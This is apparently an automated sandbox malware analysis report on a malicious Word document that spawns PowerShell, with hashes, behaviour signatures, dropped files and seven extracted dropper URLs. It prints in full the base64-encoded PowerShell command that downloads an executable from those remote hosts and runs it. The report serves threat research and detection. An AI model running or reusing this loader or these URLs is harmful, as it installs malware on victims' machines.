Analysis

  • max time kernel
    138s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 02:51

General

  • Target

    65c1b7e830158f8b0cecb98ce5f3314a_JaffaCakes118.doc

  • Size

    177KB

  • MD5

    65c1b7e830158f8b0cecb98ce5f3314a

  • SHA1

    5f418d4fa57c6729975f400df437fd1320caf718

  • SHA256

    a4ea07f63c702a260cfc87703c09e635cf2fab0a0ed510439a57936ee5f6d4b8

  • SHA512

    cf95b68078c7b4e2661ff5fda202b4d8d7b854fdb737883c1b9afff81ec151da832961dc9fe375d4a644af97062823f05407904f4a95e2c0f17e4cd838cd28d6

  • SSDEEP

    1536:d2B72BYrdi1Ir77zOH98Wj2gpngd+a9cqPWjD2kKjHDYs+sbM+Sy1l4:WrfrzOH98ipgUi2SHDYsDM+Sy1l4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://msmartyford.com/assets/BIO/

exe.dropper

http://jiafunongye.com/application/zh3/

exe.dropper

http://calledtochange.org/CalledtoChange/Uh/

exe.dropper

https://janataralo.com/public_html/k/

exe.dropper

https://www.breedenandsilver.com/wp-content/j/

exe.dropper

http://valleymedicalandsurgicalclinic.com/ujftb/p/

exe.dropper

https://cimsjr.com/hospital/x2f/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\65c1b7e830158f8b0cecb98ce5f3314a_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2316
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABKADMAYQBqADkAcgBpAD0AKAAnAFcAJwArACcAOAAnACsAKAAnADgAbwAnACsAJwBrADAAZQAnACkAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAEUAcgBwAHIATwBGAGkAbABFAFwAZwBQAGYAMQBTAFkAeABcAEYAOQBxAFMAbgAzAFgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAHQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGMAVQBSAEkAdAB5AHAAUgBPAFQAYABPAGMAbwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAnACsAJwAyACwAJwApACsAKAAnACAAJwArACcAdABsACcAKQArACcAcwAnACsAKAAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAFQAZwBtAHEAbQBuAGIAIAA9ACAAKAAoACcARQB2ADQANQAnACsAJwBlACcAKwAnADMAJwApACsAJwBoAG4AJwApADsAJABLAHUAMABoAG8AYgAwAD0AKAAnAEgAZAAnACsAKAAnAHUAbQAzAGYAJwArACcAMwAnACkAKQA7ACQAQQBtAGQAMwA4AHkAOAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADIAJwArACcAQwB1ACcAKQArACcARwAnACsAKAAnAHAAZgAxAHMAeQAnACsAJwB4ACcAKQArACgAJwAyAEMAdQBGADkAJwArACcAcQAnACkAKwAoACcAcwBuACcAKwAnADMAeAAnACkAKwAnADIAQwAnACsAJwB1ACcAKQAuACIAUgBlAHAATABgAEEAQwBFACIAKAAoAFsAYwBoAEEAUgBdADUAMAArAFsAYwBoAEEAUgBdADYANwArAFsAYwBoAEEAUgBdADEAMQA3ACkALAAnAFwAJwApACkAKwAkAFQAZwBtAHEAbQBuAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABNADYAdgAzAGoAcABrAD0AKAAoACcAVAAnACsAJwBtADMAXwAnACkAKwAoACcANQA5ACcAKwAnAHYAJwApACkAOwAkAEgANgByAGIAdwBiAGoAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAQwBMAEkAZQBuAHQAOwAkAEkAMwBrAHgAdQB3AG8APQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwBtACcAKwAnAHMAJwApACsAKAAnAG0AYQAnACsAJwByAHQAeQAnACsAJwBmAG8AcgAnACkAKwAnAGQALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAnACsAKAAnAC8AYQAnACsAJwBzAHMAZQAnACkAKwAnAHQAJwArACgAJwBzAC8AJwArACcAQgBJAE8AJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnADoALwAvACcAKwAnAGoAaQBhACcAKwAnAGYAdQBuAG8AbgAnACsAJwBnAHkAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AYQAnACsAKAAnAHAAJwArACcAcABsACcAKwAnAGkAYwBhAHQAaQAnACsAJwBvAG4AJwApACsAJwAvACcAKwAnAHoAJwArACcAaAAzACcAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACcALwBjACcAKwAnAGEAbAAnACsAKAAnAGwAJwArACcAZQBkAHQAJwApACsAKAAnAG8AYwAnACsAJwBoACcAKQArACcAYQAnACsAKAAnAG4AJwArACcAZwBlACcAKQArACgAJwAuAG8AcgAnACsAJwBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACcAbABsACcAKwAoACcAZQBkAHQAbwAnACsAJwBDACcAKwAnAGgAYQBuAGcAJwArACcAZQAvAFUAJwApACsAKAAnAGgALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwAHMAOgAnACsAJwAvAC8AJwArACcAagBhAG4AYQB0ACcAKQArACcAYQByACcAKwAnAGEAJwArACcAbAAnACsAKAAnAG8AJwArACcALgBjACcAKwAnAG8AbQAvACcAKQArACgAJwBwAHUAYgBsAGkAJwArACcAYwAnACsAJwBfAGgAdABtAGwALwBrACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAJwB0AHAAJwArACgAJwBzACcAKwAnADoALwAvAHcAdwB3AC4AJwArACcAYgByACcAKQArACgAJwBlACcAKwAnAGUAZABlACcAKwAnAG4AYQBuAGQAcwBpAGwAJwApACsAKAAnAHYAZQByACcAKwAnAC4AYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwAC0AJwArACcAYwAnACkAKwAoACcAbwBuACcAKwAnAHQAJwArACcAZQBuAHQAJwApACsAKAAnAC8AagAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AdgAnACkAKwAnAGEAbAAnACsAKAAnAGwAZQB5ACcAKwAnAG0AZQAnACkAKwAoACcAZAAnACsAJwBpAGMAYQBsACcAKQArACgAJwBhACcAKwAnAG4AZABzACcAKQArACgAJwB1AHIAJwArACcAZwAnACkAKwAnAGkAYwAnACsAKAAnAGEAbABjAGwAJwArACcAaQAnACkAKwAoACcAbgBpAGMALgBjAG8AJwArACcAbQAvACcAKwAnAHUAagAnACkAKwAnAGYAdAAnACsAJwBiAC8AJwArACgAJwBwACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAJwApACsAJwA6ACcAKwAoACcALwAnACsAJwAvAGMAaQAnACkAKwAnAG0AJwArACcAcwBqACcAKwAoACcAcgAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAGgAJwArACcAbwBzAHAAJwArACcAaQB0AGEAJwApACsAKAAnAGwALwB4ACcAKwAnADIAJwApACsAJwBmAC8AJwApAC4AIgBTAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAdQB0ADkAagBxAHIAPQAoACcAWQAnACsAKAAnADYAYQAnACsAJwA3ACcAKQArACgAJwB1AG0AJwArACcAbwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAaAB6AGMAagBqAHMAIABpAG4AIAAkAEkAMwBrAHgAdQB3AG8AKQB7AHQAcgB5AHsAJABIADYAcgBiAHcAYgBqAC4AIgBkAGAAbwB3AG4ATABgAG8AYQBgAGQAZgBpAGwAZQAiACgAJABCAGgAegBjAGoAagBzACwAIAAkAEEAbQBkADMAOAB5ADgAKQA7ACQAQQB3AHkAOQB3AHcAcQA9ACgAJwBHAGYAJwArACgAJwBxAGMAagAnACsAJwBfADEAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQQBtAGQAMwA4AHkAOAApAC4AIgBMAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADMANQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABBAG0AZAAzADgAeQA4ACkAOwAkAFoAegBoAHcANgA5AGEAPQAoACgAJwBTACcAKwAnADUAbwAnACkAKwAoACcAcAAnACsAJwBvAGkAJwApACsAJwBwACcAKQA7AGIAcgBlAGEAawA7ACQASQAwAGgAawB4ADAAYgA9ACgAJwBPACcAKwAoACcAeQBlAF8AJwArACcAbwB3ADkAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbgB1AHgAZwA1AGcAPQAoACgAJwBRACcAKwAnAHUANwAzACcAKQArACcAYgAnACsAJwB2ADcAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4864

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD7FA0.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fagwu5uq.s4a.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\gPf1SYx\F9qSn3X\Ev45e3hn.exe

    Filesize

    48KB

    MD5

    e642bd01c3df48a436aa7e2730306122

    SHA1

    83213164ae9248ffccbc7ca6a6dd9ab5b7a376bf

    SHA256

    a627c4fea88571e3388f8b80c25dae123cad7f072c96abe1ef61c15ec2304f1f

    SHA512

    e92730f1b4a0ff61231375f66bc685a132489c33aa07a4095cdaf8422c3a7ada5903aa8c4b59b7f6f8f6cad0bc1dd354333246c9f51b638a73d037f8c2c808c2

  • memory/2316-13-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-2-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-5-0x00007FFF07BAD000-0x00007FFF07BAE000-memory.dmp

    Filesize

    4KB

  • memory/2316-7-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-6-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-9-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-11-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-0-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-12-0x00007FFEC5640000-0x00007FFEC5650000-memory.dmp

    Filesize

    64KB

  • memory/2316-10-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-8-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-14-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-16-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-37-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-18-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-15-0x00007FFEC5640000-0x00007FFEC5650000-memory.dmp

    Filesize

    64KB

  • memory/2316-21-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-20-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-614-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-4-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-17-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-64-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-66-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-65-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-78-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-617-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-3-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-1-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-454-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-572-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-573-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-575-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-576-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-36-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/2316-613-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-616-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-615-0x00007FFEC7B90000-0x00007FFEC7BA0000-memory.dmp

    Filesize

    64KB

  • memory/2316-19-0x00007FFF07B10000-0x00007FFF07D05000-memory.dmp

    Filesize

    2.0MB

  • memory/4864-79-0x0000022ED9820000-0x0000022ED9842000-memory.dmp

    Filesize

    136KB